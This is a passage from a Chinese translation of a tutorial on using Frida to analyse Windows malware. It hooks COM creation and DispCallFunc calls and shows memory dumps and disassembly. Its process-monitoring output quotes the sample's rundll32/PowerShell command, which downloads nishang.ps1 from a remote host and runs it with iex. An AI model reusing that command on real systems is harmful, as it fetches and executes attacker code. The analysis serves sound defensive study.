- dumpAddress(retval);
- }
- })
- }
示例会话显示了CreateObject方法创建WScript.Shell对象。该对象用于从脚本运行外部命令,我们可以预期该脚本将运行外部恶意命令。
- [+] rtcCreateObject2
- [+] address: 0xef66dc
- 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
- 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
- 00000010 a4 82 5b 0e 8c 6a fa 23 74 85 5b 0e 8c 67 ef 00 ..[..j.#t.[..g..
- 00000020 fa 17 be 1b 8c 67 ef 00 d0 6a 2e 75 e0 f1 c0 0c .....g...j.u....
- 00000030 60 91 `.
- [+] address: 0xe5b82a4
- length: 26
- 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
- 00000000 57 00 53 00 63 00 72 00 69 00 70 00 74 00 2e 00 W.S.c.r.i.p.t...
- 00000010 53 00 68 00 65 00 6c 00 6c 00 S.h.e.l.l.
0x03 DispCallFunc 函数
有趣的API之一是DispCallFunc函数,此函数用于调用COM方法,通过监视此API,我们可以更好地了解恶意软件正在试图做什么。
该函数的原型如下所示。
- HRESULT DispCallFunc(
- void *pvInstance,
- ULONG_PTR oVft,
- CALLCONV cc,
- VARTYPE vtReturn,
- UINT cActuals,
- VARTYPE *prgvt,
- VARIANTARG **prgpvarg,
- VARIANT *pvargResult
- );
第一个参数pvInstance具有指向COM实例的指针,第二个参数oVft具有该函数正在调用的方法的偏移量。通过一些计算,你可以找到COM调用最终将调用的函数。
以下是此函数的钩子,该钩子将打印出实际的COM方法名称及其指令。Frida具有用于反汇编指令的API,在这种情况下,它确实非常有用。
- function hookDispCall(moduleName) {
- hookFunction(moduleName, "DispCallFunc", {
- onEnter: function (args) {
- log("[+] DispCallFunc")
- var pvInstance = args[0]
- var oVft = args[1]
- var instance = ptr(ptr(pvInstance).readULong());
- log(' instance:' + instance);
- log(' oVft:' + oVft);
- var vftbPtr = instance.add(oVft)
- log(' vftbPtr:' + vftbPtr);
- var functionAddress = ptr(ptr(vftbPtr).readULong())
- loadModuleForAddress(functionAddress)
- var functionName = DebugSymbol.fromAddress(functionAddress)
- if (functionName) {
- log(' functionName:' + functionName);
- }
- dumpAddress(functionAddress);
- var currentAddress = functionAddress
- for (var i = 0; i < 10; i++) {
- try {
- var instruction = Instruction.parse(currentAddress)
- log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr)
- currentAddress = instruction.next
- } catch (err) {
- break
- }
- }
- }
- })
- }
下面显示了示例输出,该输出显示了对wshom.ocx!CWshShell :: Run的COM方法调用。
- [+] DispCallFunc
- instance:0x69901070
- oVft:0x24
- vftbPtr:0x69901094
- functionAddress:0x69906260
- modules.length:133
- wshom.ocx: 0x69900000 147456 C:\Windows\System32\wshom.ocx
- DebugSymbol.loadModule C:\Windows\System32\wshom.ocx
- DebugSymbol.loadModule loadedModuleBase: true
- functionName:0x69906260 wshom.ocx!CWshShell::Run
- [+] address: 0x69906260
- 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
- 00000000 8b ff 55 8b ec 81 ec 5c 08 00 00 a1 b4 52 91 69 ..U....\.....R.i
- 00000010 33 c5 89 45 fc 8b 45 10 8b 4d 14 8b 55 18 89 85 3..E..E..M..U...
- 00000020 f8 f7 ff ff 89 8d ec f7 ff ff 89 95 e4 f7 ff ff ................
- 00000030 c7 85 ..
- 0x69906260: mov edi, edi
- 0x69906262: push ebp
- 0x69906263: mov ebp, esp
- 0x69906265: sub esp, 0x85c
- 0x6990626b: mov eax, dword ptr [0x699152b4]
- 0x69906270: xor eax, ebp
- 0x69906272: mov dword ptr [ebp - 4], eax
- 0x69906275: mov eax, dword ptr [ebp + 0x10]
- 0x69906278: mov ecx, dword ptr [ebp + 0x14]
- 0x6990627b: mov edx, dword ptr [ebp + 0x18]
此外,你可以添加设备回调,它将监视进程创建行为。下面显示了rundll子进程用于通过powershdll.dll DLL的主要功能运行PowerShell命令来运行PowerShell。
- ⚡ child_added: Child(pid=6300, parent_pid=3064, origin=spawn, path='C:\\Windows\\System32\\rundll32.exe', argv=['C:\\Windows\\System32\\rundll32.exe', 'C:\\Users\\tester\\AppData\\Local\\Temp\\powershdll.dll,main', '.', '{', 'Invoke-WebRequest', '-useb', 'http://192.168.10.100:8080/nishang.ps1', '}', '^|', 'iex;'], envp=None)
0x04 分析总结
Frida是我在Windows平台上使用过的最方便,最方便的动态分析工具,WinDbg,OllyDbg和PyKD用于高级逆向,他们有自己的位置和用法。但是,对于真正快速和重复的分析工作,Frida绰绰有余,并且具有转储和分析程序行为的强大功能。有了Frida 12.9.8,我们现在有了更好的符号处理能力,这将提高整体可用性和生产率。
本文翻译自:https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html如若转载,请注明原文地址: